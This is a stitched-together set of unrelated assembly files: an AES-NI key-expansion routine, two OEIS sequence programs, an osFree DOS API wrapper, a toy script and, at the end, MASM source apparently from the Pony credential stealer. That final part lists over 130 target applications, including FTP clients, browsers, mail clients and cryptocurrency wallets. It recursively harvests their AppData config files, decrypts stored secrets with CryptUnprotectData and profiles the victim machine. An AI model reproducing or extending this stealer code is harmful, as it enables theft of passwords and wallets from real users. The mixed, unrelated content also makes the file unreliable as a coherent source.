xmm2,XMMWORD PTR[16+rcx] mov edx,13 lea rax,QWORD PTR[16+rax] movups XMMWORD PTR[r8],xmm0 movups XMMWORD PTR[16+r8],xmm2 DB 102,15,58,223,202,1 call $L$key_expansion_256a_cold DB 102,15,58,223,200,1 call $L$key_expansion_256b DB 102,15,58,223,202,2 call $L$key_expansion_256a DB 102,15,58,223,200,2 call $L$key_expansion_256b DB 102,15,58,223,202,4 call $L$key_expansion_256a DB 102,15,58,223,200,4 call $L$key_expansion_256b DB 102,15,58,223,202,8 call $L$key_expansion_256a DB 102,15,58,223,200,8 call $L$key_expansion_256b DB 102,15,58,223,202,16 call $L$key_expansion_256a DB 102,15,58,223,200,16 call $L$key_expansion_256b DB 102,15,58,223,202,32 call $L$key_expansion_256a DB 102,15,58,223,200,32 call $L$key_expansion_256b DB 102,15,58,223,202,64 call $L$key_expansion_256a movups XMMWORD PTR[rax],xmm0 mov DWORD PTR[16+rax],edx xor rax,rax jmp $L$enc_key_ret ALIGN 16 $L$bad_keybits:: mov rax,-2 $L$enc_key_ret:: add rsp,8 DB 0F3h,0C3h ;repret $L$SEH_end_set_encrypt_key:: ALIGN 16 $L$key_expansion_128:: movups XMMWORD PTR[rax],xmm0 lea rax,QWORD PTR[16+rax] $L$key_expansion_128_cold:: shufps xmm4,xmm0,16 xorps xmm0,xmm4 shufps xmm4,xmm0,140 xorps xmm0,xmm4 shufps xmm1,xmm1,255 xorps xmm0,xmm1 DB 0F3h,0C3h ;repret ALIGN 16 $L$key_expansion_192a:: movups XMMWORD PTR[rax],xmm0 lea rax,QWORD PTR[16+rax] $L$key_expansion_192a_cold:: movaps xmm5,xmm2 $L$key_expansion_192b_warm:: shufps xmm4,xmm0,16 movdqa xmm3,xmm2 xorps xmm0,xmm4 shufps xmm4,xmm0,140 pslldq xmm3,4 xorps xmm0,xmm4 pshufd xmm1,xmm1,85 pxor xmm2,xmm3 pxor xmm0,xmm1 pshufd xmm3,xmm0,255 pxor xmm2,xmm3 DB 0F3h,0C3h ;repret ALIGN 16 $L$key_expansion_192b:: movaps xmm3,xmm0 shufps xmm5,xmm0,68 movups XMMWORD PTR[rax],xmm5 shufps xmm3,xmm2,78 movups XMMWORD PTR[16+rax],xmm3 lea rax,QWORD PTR[32+rax] jmp $L$key_expansion_192b_warm ALIGN 16 $L$key_expansion_256a:: movups XMMWORD PTR[rax],xmm2 lea rax,QWORD PTR[16+rax] $L$key_expansion_256a_cold:: shufps xmm4,xmm0,16 xorps xmm0,xmm4 shufps xmm4,xmm0,140 xorps xmm0,xmm4 shufps xmm1,xmm1,255 xorps xmm0,xmm1 DB 0F3h,0C3h ;repret ALIGN 16 $L$key_expansion_256b:: movups XMMWORD PTR[rax],xmm0 lea rax,QWORD PTR[16+rax] shufps xmm4,xmm2,16 xorps xmm2,xmm4 shufps xmm4,xmm2,140 xorps xmm2,xmm4 shufps xmm1,xmm1,170 xorps xmm2,xmm1 DB 0F3h,0C3h ;repret aesni_set_encrypt_key ENDP ALIGN 64 $L$bswap_mask:: DB 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0 $L$increment32:: DD 6,6,6,0 $L$increment64:: DD 1,0,0,0 $L$xts_magic:: DD 087h,0,1,0 $L$increment1:: DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 DB 65,69,83,32,102,111,114,32,73,110,116,101,108,32,65,69 DB 83,45,78,73,44,32,67,82,89,80,84,79,71,65,77,83 DB 32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115 DB 115,108,46,111,114,103,62,0 ALIGN 64 EXTERN __imp_RtlVirtualUnwind:NEAR ALIGN 16 ecb_se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[152+r8] jmp $L$common_seh_tail ecb_se_handler ENDP ALIGN 16 ccm64_se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[120+r8] mov rbx,QWORD PTR[248+r8] mov rsi,QWORD PTR[8+r9] mov r11,QWORD PTR[56+r9] mov r10d,DWORD PTR[r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jb $L$common_seh_tail mov rax,QWORD PTR[152+r8] mov r10d,DWORD PTR[4+r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jae $L$common_seh_tail lea rsi,QWORD PTR[rax] lea rdi,QWORD PTR[512+r8] mov ecx,8 DD 0a548f3fch lea rax,QWORD PTR[88+rax] jmp $L$common_seh_tail ccm64_se_handler ENDP ALIGN 16 ctr_xts_se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[120+r8] mov rbx,QWORD PTR[248+r8] mov rsi,QWORD PTR[8+r9] mov r11,QWORD PTR[56+r9] mov r10d,DWORD PTR[r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jb $L$common_seh_tail mov rax,QWORD PTR[152+r8] mov r10d,DWORD PTR[4+r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jae $L$common_seh_tail mov rax,QWORD PTR[160+r8] lea rsi,QWORD PTR[((-160))+rax] lea rdi,QWORD PTR[512+r8] mov ecx,20 DD 0a548f3fch jmp $L$common_rbp_tail ctr_xts_se_handler ENDP ALIGN 16 cbc_se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[152+r8] mov rbx,QWORD PTR[248+r8] lea r10,QWORD PTR[$L$cbc_decrypt] cmp rbx,r10 jb $L$common_seh_tail lea r10,QWORD PTR[$L$cbc_decrypt_body] cmp rbx,r10 jb $L$restore_cbc_rax lea r10,QWORD PTR[$L$cbc_ret] cmp rbx,r10 jae $L$common_seh_tail lea rsi,QWORD PTR[16+rax] lea rdi,QWORD PTR[512+r8] mov ecx,20 DD 0a548f3fch $L$common_rbp_tail:: mov rax,QWORD PTR[160+r8] mov rbp,QWORD PTR[rax] lea rax,QWORD PTR[8+rax] mov QWORD PTR[160+r8],rbp jmp $L$common_seh_tail $L$restore_cbc_rax:: mov rax,QWORD PTR[120+r8] $L$common_seh_tail:: mov rdi,QWORD PTR[8+rax] mov rsi,QWORD PTR[16+rax] mov QWORD PTR[152+r8],rax mov QWORD PTR[168+r8],rsi mov QWORD PTR[176+r8],rdi mov rdi,QWORD PTR[40+r9] mov rsi,r8 mov ecx,154 DD 0a548f3fch mov rsi,r9 xor rcx,rcx mov rdx,QWORD PTR[8+rsi] mov r8,QWORD PTR[rsi] mov r9,QWORD PTR[16+rsi] mov r10,QWORD PTR[40+rsi] lea r11,QWORD PTR[56+rsi] lea r12,QWORD PTR[24+rsi] mov QWORD PTR[32+rsp],r10 mov QWORD PTR[40+rsp],r11 mov QWORD PTR[48+rsp],r12 mov QWORD PTR[56+rsp],rcx call QWORD PTR[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret cbc_se_handler ENDP .text$ ENDS .pdata SEGMENT READONLY ALIGN(4) ALIGN 4 DD imagerel $L$SEH_begin_aesni_ecb_encrypt DD imagerel $L$SEH_end_aesni_ecb_encrypt DD imagerel $L$SEH_info_ecb DD imagerel $L$SEH_begin_aesni_ccm64_encrypt_blocks DD imagerel $L$SEH_end_aesni_ccm64_encrypt_blocks DD imagerel $L$SEH_info_ccm64_enc DD imagerel $L$SEH_begin_aesni_ccm64_decrypt_blocks DD imagerel $L$SEH_end_aesni_ccm64_decrypt_blocks DD imagerel $L$SEH_info_ccm64_dec DD imagerel $L$SEH_begin_aesni_ctr32_encrypt_blocks DD imagerel $L$SEH_end_aesni_ctr32_encrypt_blocks DD imagerel $L$SEH_info_ctr32 DD imagerel $L$SEH_begin_aesni_xts_encrypt DD imagerel $L$SEH_end_aesni_xts_encrypt DD imagerel $L$SEH_info_xts_enc DD imagerel $L$SEH_begin_aesni_xts_decrypt DD imagerel $L$SEH_end_aesni_xts_decrypt DD imagerel $L$SEH_info_xts_dec DD imagerel $L$SEH_begin_aesni_cbc_encrypt DD imagerel $L$SEH_end_aesni_cbc_encrypt DD imagerel $L$SEH_info_cbc DD imagerel aesni_set_decrypt_key DD imagerel $L$SEH_end_set_decrypt_key DD imagerel $L$SEH_info_key DD imagerel aesni_set_encrypt_key DD imagerel $L$SEH_end_set_encrypt_key DD imagerel $L$SEH_info_key .pdata ENDS .xdata SEGMENT READONLY ALIGN(8) ALIGN 8 $L$SEH_info_ecb:: DB 9,0,0,0 DD imagerel ecb_se_handler $L$SEH_info_ccm64_enc:: DB 9,0,0,0 DD imagerel ccm64_se_handler DD imagerel $L$ccm64_enc_body,imagerel $L$ccm64_enc_ret $L$SEH_info_ccm64_dec:: DB 9,0,0,0 DD imagerel ccm64_se_handler DD imagerel $L$ccm64_dec_body,imagerel $L$ccm64_dec_ret $L$SEH_info_ctr32:: DB 9,0,0,0 DD imagerel ctr_xts_se_handler DD imagerel $L$ctr32_body,imagerel $L$ctr32_epilogue $L$SEH_info_xts_enc:: DB 9,0,0,0 DD imagerel ctr_xts_se_handler DD imagerel $L$xts_enc_body,imagerel $L$xts_enc_epilogue $L$SEH_info_xts_dec:: DB 9,0,0,0 DD imagerel ctr_xts_se_handler DD imagerel $L$xts_dec_body,imagerel $L$xts_dec_epilogue $L$SEH_info_cbc:: DB 9,0,0,0 DD imagerel cbc_se_handler $L$SEH_info_key:: DB 001h,004h,001h,000h DB 004h,002h,000h,000h .xdata ENDS END
; A017441: a(n) = (11*n + 4)^5. ; 1024,759375,11881376,69343957,254803968,714924299,1680700000,3486784401,6590815232,11592740743,19254145824,30517578125,46525874176,68641485507,98465804768,137858491849,188956800000,254194901951,336323216032,438427732293,563949338624,716703146875,900897818976,1121154893057,1382528109568,1690522737399,2051114900000,2470770901501,2956466552832,3515706497843,4156543539424,4887597965625,5718076875776,6657793506607,7717186558368,8907339520949,10240000000000,11727599043051,13383270465632,15220870177393,17254995508224,19501004534375,21975035404576,24694025666157,27675731591168,30938747502499,34502525100000,38387392786601,42614574994432,47206211510943,52185376805024,57576099353125,63403380965376,69693216111707,76472611247968,83769604142049,91613283200000,100033806792151,109062422579232,118731486838493,129074483789824,140126044921875,151921968318176,164499237983257,177896043168768,192151797699599,207307159300000,223404048919701,240485670060032,258596528100043,277782449622624,298090601740625,319569511422976,342269084820807,366240626593568,391536859235149,418211942400000,446321492229251,475922600676832,507073854835593,539835356263424,574268740309375,610437195439776,648405482564357,688239954362368,730008574608699,773780937500000,819628286980801,867623536069632,917841286185143,970357846472224,1025251253128125,1082601288728576,1142489501553907,1204999224915168,1270215596480249,1338225577600000,1409117972634351,1482983448278432,1559914552888693 mul $0,11 add $0,4 pow $0,5
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosAllocShrSeg DOS wrapper ; ; (c) osFree Project 2018, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; Documentation: http://osfree.org/doku/en:docs:fapi:dosallocshrseg ; ;*/ .8086 INCLUDE GlobalVars.inc EXTERN DOS16PALLOCSHRSEG: PROC EXTERN DOS16RALLOCSHRSEG: PROC _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 DOSALLOCSHRSEG PROC CMP DPMI, 0FFFFH JZ DOS16PALLOCSHRSEG JMP DOS16RALLOCSHRSEG DOSALLOCSHRSEG ENDP _TEXT ENDS END
; script start: ; expression + ; value int 2 set r3 2 ; value int 3 set r4 3 add r2 r3 r4 stop
; A084642: A Jacobsthal ratio. ; 1,3,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1 mov $2,$0 sub $0,1 gcd $0,2 cmp $2,1 add $0,$2 mov $1,$0
; Password recovery modules .data szFilePoint db '.',0 szFilePPoint db '..',0 CCommonFileMask db '\*.*',0 CCommonFileMaskNoSlash db '*.*',0 .code ITEMHDR_ID equ 0beef0000h MODULE_SYSTEMINFO equ 00000000h MODULE_FAR equ 00000001h MODULE_WTC equ 00000002h MODULE_WS_FTP equ 00000003h MODULE_CUTEFTP equ 00000004h MODULE_FLASHFXP equ 00000005h MODULE_FILEZILLA equ 00000006h MODULE_FTPCOMMANDER equ 00000007h MODULE_BULLETPROOF equ 00000008h MODULE_SMARTFTP equ 00000009h MODULE_TURBOFTP equ 0000000ah MODULE_FFFTP equ 0000000bh MODULE_COFFEECUPFTP equ 0000000ch MODULE_COREFTP equ 0000000dh MODULE_FTPEXPLORER equ 0000000eh MODULE_FRIGATEFTP equ 0000000fh MODULE_SECUREFX equ 00000010h MODULE_ULTRAFXP equ 00000011h MODULE_FTPRUSH equ 00000012h MODULE_WEBSITEPUBLISHER equ 00000013h MODULE_BITKINEX equ 00000014h MODULE_EXPANDRIVE equ 00000015h MODULE_CLASSICFTP equ 00000016h MODULE_FLING equ 00000017h MODULE_SOFTX equ 00000018h MODULE_DIRECTORYOPUS equ 00000019h MODULE_FREEFTP equ 0000001ah MODULE_LEAPFTP equ 0000001bh MODULE_WINSCP equ 0000001ch MODULE_32BITFTP equ 0000001dh MODULE_NETDRIVE equ 0000001eh MODULE_WEBDRIVE equ 0000001fh MODULE_FTPCONTROL equ 00000020h MODULE_OPERA equ 00000021h MODULE_WISEFTP equ 00000022h MODULE_FTPVOYAGER equ 00000023h MODULE_FIREFOX equ 00000024h MODULE_FIREFTP equ 00000025h MODULE_SEAMONKEY equ 00000026h MODULE_FLOCK equ 00000027h MODULE_MOZILLA equ 00000028h MODULE_LEECHFTP equ 00000029h MODULE_ODIN equ 0000002ah MODULE_WINFTP equ 0000002bh MODULE_FTP_SURFER equ 0000002ch MODULE_FTPGETTER equ 0000002dh MODULE_ALFTP equ 0000002eh MODULE_IE equ 0000002fh MODULE_DREAMWEAVER equ 00000030h MODULE_DELUXEFTP equ 00000031h MODULE_CHROME equ 00000032h MODULE_CHROMIUM equ 00000033h MODULE_CHROMEPLUS equ 00000034h MODULE_BROMIUM equ 00000035h MODULE_NICHROME equ 00000036h MODULE_COMODODRAGON equ 00000037h MODULE_ROCKMELT equ 00000038h MODULE_KMELEON equ 00000039h MODULE_EPIC equ 0000003ah MODULE_STAFF equ 0000003bh MODULE_ACEFTP equ 0000003ch MODULE_GLOBALDOWNLOADER equ 0000003dh MODULE_FRESHFTP equ 0000003eh MODULE_BLAZEFTP equ 0000003fh MODULE_NETFILE equ 00000040h MODULE_GOFTP equ 00000041h MODULE_3DFTP equ 00000042h MODULE_EASYFTP equ 00000043h MODULE_XFTP equ 00000044h MODULE_RDP equ 00000045h MODULE_FTPNOW equ 00000046h MODULE_ROBOFTP equ 00000047h MODULE_CERT equ 00000048h MODULE_LINASFTP equ 00000049h MODULE_CYBERDUCK equ 0000004ah MODULE_PUTTY equ 0000004bh MODULE_NOTEPADPP equ 0000004ch MODULE_VS_DESIGNER equ 0000004dh MODULE_FTPSHELL equ 0000004eh MODULE_FTPINFO equ 0000004fh MODULE_NEXUSFILE equ 00000050h MODULE_FS_BROWSER equ 00000051h MODULE_COOLNOVO equ 00000052h MODULE_WINZIP equ 00000053h MODULE_YANDEXINTERNET equ 00000054h MODULE_MYFTP equ 00000055h MODULE_SHERRODFTP equ 00000056h MODULE_NOVAFTP equ 00000057h MODULE_WINDOWS_MAIL equ 00000058h MODULE_WINDOWS_LIVE_MAIL equ 00000059h MODULE_BECKY equ 0000005ah MODULE_POCOMAIL equ 0000005bh MODULE_INCREDIMAIL equ 0000005ch MODULE_THEBAT equ 0000005dh MODULE_OUTLOOK equ 0000005eh MODULE_THUNDERBIRD equ 0000005fh MODULE_FASTTRACK equ 00000060h MODULE_BITCOIN equ 00000061h MODULE_ELECTRUM equ 00000062h MODULE_MULTIBIT equ 00000063h MODULE_FTPDISK equ 00000064h MODULE_LITECOIN equ 00000065h MODULE_NAMECOIN equ 00000066h MODULE_TERRACOIN equ 00000067h MODULE_BITCOINARMORY equ 00000068h MODULE_PPCOIN equ 00000069h MODULE_PRIMECOIN equ 0000006ah MODULE_FEATHERCOIN equ 0000006bh MODULE_NOVACOIN equ 0000006ch MODULE_FREICOIN equ 0000006dh MODULE_DEVCOIN equ 0000006eh MODULE_FRANKOCOIN equ 0000006fh MODULE_PROTOSHARES equ 00000070h MODULE_MEGACOIN equ 00000071h MODULE_QUARKCOIN equ 00000072h MODULE_WORLDCOIN equ 00000073h MODULE_INFINITECOIN equ 00000074h MODULE_IXCOIN equ 00000075h MODULE_ANONCOIN equ 00000076h MODULE_BBQCOIN equ 00000077h MODULE_DIGITALCOIN equ 00000078h MODULE_MINCOIN equ 00000079h MODULE_GOLDCOIN equ 0000007ah MODULE_YACOIN equ 0000007bh MODULE_ZETACOIN equ 0000007ch MODULE_FASTCOIN equ 0000007dh MODULE_I0COIN equ 0000007eh MODULE_TAGCOIN equ 0000007fh MODULE_BYTECOIN equ 00000080h MODULE_FLORINCOIN equ 00000081h MODULE_PHOENIXCOIN equ 00000082h MODULE_LUCKYCOIN equ 00000083h MODULE_CRAFTCOIN equ 00000084h MODULE_JUNKCOIN equ 00000085h .code CREDENTIAL struct DWORD dwFlags dd ? dwType dd ? TargetName dd ? _Comment dd ? LastWritten FILETIME <> CredentialBlobSize dd ? CredentialBlob dd ? Persist dd ? AttributeCount dd ? Attributes dd ? TargetAlias dd ? UserName dd ? CREDENTIAL ends ; Write data into IStream CommonAppendData proc stream, data, datalen, dwType .IF stream && datalen invoke StreamWriteDWORD, stream, dwType invoke StreamWriteBinaryString, stream, data, datalen .ENDIF ret CommonAppendData endp ; Write null-terminated string into IStream CommonAppendDataStr proc stream, data, dwType .IF stream && data invoke StreamWriteDWORD, stream, dwType invoke StreamWriteString, stream, data .ENDIF ret CommonAppendDataStr endp ; Write binary file contents into IStream ; duplicate files are ignored CommonAppendFile proc stream, path, dwType LOCAL map: MappedFile invoke ExpandEnvStr, path mov path, eax .IF path invoke FileExists, path .IF eax invoke MapFile, path, addr map .IF eax .IF map.dwFileSize < MEM_LIMIT invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize .IF !eax invoke CommonAppendData, stream, map.lpMem, map.dwFileSize, dwType .ENDIF .ENDIF invoke UnmapFile, addr map .ENDIF .ENDIF invoke MemFree, path .ENDIF ret CommonAppendFile endp ; Write binary file contents into IStream ; duplicate files are written too CommonAppendFileForceDupe proc stream, path, dwType LOCAL map: MappedFile invoke ExpandEnvStr, path mov path, eax .IF path invoke FileExists, path .IF eax invoke MapFile, path, addr map .IF eax .IF map.dwFileSize < MEM_LIMIT invoke CommonAppendData, stream, map.lpMem, map.dwFileSize, dwType .ENDIF invoke UnmapFile, addr map .ENDIF .ENDIF invoke MemFree, path .ENDIF ret CommonAppendFileForceDupe endp ; Check if certain file is a duplicate (was processed before) IsFileAlreadyProcessed proc uses ebx path LOCAL map: MappedFile sub ebx, ebx invoke ExpandEnvStr, path mov path, eax .IF path invoke FileExists, path .IF eax invoke MapFile, path, addr map .IF eax .IF map.dwFileSize < MEM_LIMIT invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize .IF eax inc ebx .ENDIF .ENDIF invoke UnmapFile, addr map .ENDIF .ENDIF invoke MemFree, path .ENDIF mov eax, ebx ret IsFileAlreadyProcessed endp ; Recursively search files in a folder and all sub folder using filter (filemask) CommonFileScanCallback proc stream, dir, filemask, item_id, callback LOCAL FindFileData: WIN32_FIND_DATA LOCAL hFind: DWORD LOCAL path: DWORD LOCAL ininame: DWORD mov path, 0 ; Do not process empty directories mov eax, dir .IF (!eax) || (!byte ptr[eax]) jmp @not_found .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset CCommonFileMask .ELSE invoke PonyStrCat, dir, offset CCommonFileMaskNoSlash .ENDIF mov path, eax invoke ZeroMemory, addr FindFileData, sizeof WIN32_FIND_DATA invoke FindFirstFile, path, addr FindFileData mov hFind, eax inc eax jz @not_found @find_loop: lea edx, FindFileData test [edx].WIN32_FIND_DATA.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY .IF !ZERO? ; is directory, scan recursively ; skip "." and ".." path names lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePPoint, eax .IF !eax jmp @skip .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset szSlash .ELSE invoke PonyStrCat, dir, NULL .ENDIF lea edx, FindFileData lea edx, [edx].WIN32_FIND_DATA.cFileName invoke PonyStrCatFreeArg1, eax, edx push eax invoke CommonFileScanCallback, stream, eax, filemask, item_id, callback call MemFree jmp @skip .ENDIF lea eax, [edx].WIN32_FIND_DATA.cFileName mov ininame, eax .IF !filemask jmp @process_all_files .ENDIF invoke StrStrI, ininame, filemask .IF eax @process_all_files: invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax .IF callback push item_id push eax push stream call callback .ELSE invoke CommonAppendFile, stream, eax, item_id .ENDIF call MemFree .ENDIF @skip: invoke FindNextFile, hFind, addr FindFileData test eax, eax jnz @find_loop invoke FindClose, hFind @not_found: invoke MemFree, path ret CommonFileScanCallback endp CommonFileScan proc stream, dir, filemask, item_id invoke CommonFileScanCallback, stream, dir, filemask, item_id, NULL ret CommonFileScan endp ; Recursively search for files according to the mask (config_file) inside CSIDL shell folder AppDataCommonSingleFileScan proc stream, csidl, appdata_dir, config_file, item_id invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, appdata_dir push eax invoke CommonFileScan, stream, eax, config_file, item_id call MemFree .ENDIF ret AppDataCommonSingleFileScan endp ; Recursively search for files according to the mask (config_file) inside common %APPDATA% shell folders AppDataCommonFileScan proc stream, appdata_dir, config_file, item_id invoke AppDataCommonSingleFileScan, stream, CSIDL_APPDATA, appdata_dir, config_file, item_id invoke AppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, appdata_dir, config_file, item_id invoke AppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, appdata_dir, config_file, item_id ret AppDataCommonFileScan endp CommonCryptUnprotectData proc uses ebx esi edi szPassword, lpdwPasswordLen, pbEntropyBlob LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB sub ebx, ebx mov eax, lpdwPasswordLen m2m InBlob.cbData, dword ptr [eax] m2m InBlob.pbData, szPassword mov OutBlob.pbData, 0 .IF MyCryptUnprotectData && szPassword lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 .IF pbEntropyBlob push pbEntropyBlob .ELSE push 0 .ENDIF push 0 lea eax, InBlob push eax call MyCryptUnprotectData .IF eax && OutBlob.pbData mov eax, lpdwPasswordLen mov ecx, OutBlob.cbData ; check if the input buffer is large enough to hold the decrypted password .IF ecx <= dword ptr[eax] inc ebx ; report decryption success cld mov esi, OutBlob.pbData mov edi, szPassword mov ecx, OutBlob.cbData jecxz @F rep movsb @@: mov eax, lpdwPasswordLen m2m dword ptr[eax], OutBlob.cbData .ENDIF invoke LocalFree, OutBlob.pbData .ENDIF .ENDIF mov eax, ebx ret CommonCryptUnprotectData endp ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Common System Information IFNDEF SKIP_SYSTEM_INFO .data szHWIDValue db "HWID",0 szGUIDFmt db "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",0 win64_getnative db "GetNativeSystemInfo",0 win64_kernel db "kernel32.dll",0 win64_process db "IsWow64Process",0 .code IsWin64 proc uses ebx esi edi LOCAL W: DWORD invoke GetModuleHandle, offset win64_kernel mov ebx, eax mov W, FALSE .IF eax invoke GetProcAddress, ebx, offset win64_getnative .IF eax mov esi, eax invoke GetProcAddress, ebx, offset win64_process .IF eax mov edi, eax lea eax, W push eax invoke GetCurrentProcess push eax call edi .IF W mov eax, TRUE ret .ENDIF .ENDIF .ENDIF .ENDIF mov eax, FALSE ret IsWin64 endp IsAdmin proc LOCAL NtAuthority: SID_IDENTIFIER_AUTHORITY LOCAL AdministratorsGroup: DWORD LOCAL IsInAdminGroup: DWORD .IF !MyAllocateAndInitializeSid || !MyCheckTokenMembership || !MyFreeSid mov eax, TRUE ret .ENDIF lea eax, NtAuthority mov byte ptr[eax+0], 0 mov byte ptr[eax+1], 0 mov byte ptr[eax+2], 0 mov byte ptr[eax+3], 0 mov byte ptr[eax+4], 0 mov byte ptr[eax+5], 5 lea eax, AdministratorsGroup push eax push 0 push 0 push 0 push 0 push 0 push 0 push DOMAIN_ALIAS_RID_ADMINS push SECURITY_BUILTIN_DOMAIN_RID push 2 lea eax, NtAuthority push eax call MyAllocateAndInitializeSid .IF !eax ret .ENDIF mov IsInAdminGroup, FALSE lea eax, IsInAdminGroup push eax push AdministratorsGroup push NULL call MyCheckTokenMembership .IF !eax mov IsInAdminGroup, FALSE .ENDIF push AdministratorsGroup call MyFreeSid mov eax, IsInAdminGroup ret IsAdmin endp InstallHWIDValue proc LOCAL guid: GUID LOCAL guid_str[100]: BYTE LOCAL out_len: DWORD invoke ReadAppOptionValue, offset szHWIDValue, addr out_len push eax .IF !eax || out_len <= 20 invoke CoCreateGuid, addr guid test eax, eax .IF SUCCEEDED movzx eax, guid.Data4[7] push eax movzx eax, guid.Data4[6] push eax movzx eax, guid.Data4[5] push eax movzx eax, guid.Data4[4] push eax movzx eax, guid.Data4[3] push eax movzx eax, guid.Data4[2] push eax movzx eax, guid.Data4[1] push eax movzx eax, guid.Data4[0] push eax movzx eax, guid.Data3 push eax movzx eax, guid.Data2 push eax push guid.Data1 push offset szGUIDFmt lea eax, guid_str push eax call wsprintf add esp, 34h invoke lstrlen, addr guid_str invoke WriteAppOptionValue, offset szHWIDValue, addr guid_str, eax .ENDIF .ENDIF call MemFree ret InstallHWIDValue endp GrabSystemInfo proc uses ebx edi stream LOCAL hdr_ofs: DWORD LOCAL vi: OSVERSIONINFOEX LOCAL locale_str: DWORD LOCAL out_len: DWORD LOCAL guid_str: DWORD LOCAL lpSystemInfo: SYSTEM_INFO LOCAL hKernel: DWORD invoke StreamWriteModuleHeader, stream, MODULE_SYSTEMINFO, 0 mov hdr_ofs, eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke ZeroMemory, addr vi, sizeof OSVERSIONINFOEX mov vi.dwOSVersionInfoSize, sizeof OSVERSIONINFOEX invoke GetVersionEx, addr vi ; Zero non-used bytes in vi.szCSDVersion array sub ecx, ecx sub edx, edx lea edi, vi.szCSDVersion .WHILE ecx < 128 .IF byte ptr[edi] == 0 mov edx, 1 .ENDIF .IF edx mov byte ptr[edi], 0 .ENDIF inc edi inc ecx .ENDW ; OS version .IF eax invoke StreamWriteBinaryString, stream, addr vi, sizeof OSVERSIONINFOEX .ELSE invoke StreamWriteBinaryString, stream, NULL, 0 .ENDIF ; 64-bit check invoke IsWin64 invoke StreamWriteDWORD, stream, eax invoke MemAlloc, 1024 mov locale_str, eax ; User country invoke GetLocaleInfo, LOCALE_USER_DEFAULT, LOCALE_SENGCOUNTRY, locale_str, 1023 invoke StreamWriteBinaryString, stream, locale_str, eax ; User language invoke GetLocaleInfo, LOCALE_USER_DEFAULT, LOCALE_SENGLANGUAGE, locale_str, 1023 invoke StreamWriteBinaryString, stream, locale_str, eax ; Check for admin rights invoke IsAdmin invoke StreamWriteDWORD, stream, eax ; Unique computer HWID invoke InstallHWIDValue invoke ReadAppOptionValue, offset szHWIDValue, addr out_len mov guid_str, eax .IF guid_str && out_len >= 20 add out_len, 4 invoke StreamWriteDWORD, stream, out_len sub out_len, 4 invoke StreamWriteDWORD, stream, 0ffffffffh invoke StreamWriteData, stream, guid_str, out_len .ELSE invoke StreamWriteBinaryString, stream, NULL, 0 .ENDIF invoke MemFree, guid_str invoke MemFree, locale_str sub ebx, ebx invoke GetModuleHandle, offset win64_kernel mov hKernel, eax .IF hKernel invoke GetProcAddress, hKernel, offset win64_getnative .IF eax lea edx, lpSystemInfo push edx call eax inc ebx .ENDIF .ENDIF .IF !ebx invoke GetSystemInfo, addr lpSystemInfo .ENDIF invoke StreamWriteBinaryString, stream, addr lpSystemInfo, sizeof lpSystemInfo invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabSystemInfo endp ELSE GrabSystemInfo proc stream sub eax, eax ret GrabSystemInfo endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FAR/FAR2/FAR3 built-in ftp client ; http://www.farmanager.com/ ; Tested: FAR 2.0 build 1807 x86 ; Tested: Far Manager v3.0 build 2673 x86 ; Tested: Far Manager v3.0 build 3367 x86 ; Tested: Far Manager v3.0 build 3525 x86 ; SFTP: implemented (WinSCP plugin) IFDEF COMPILE_MODULE_FAR .data 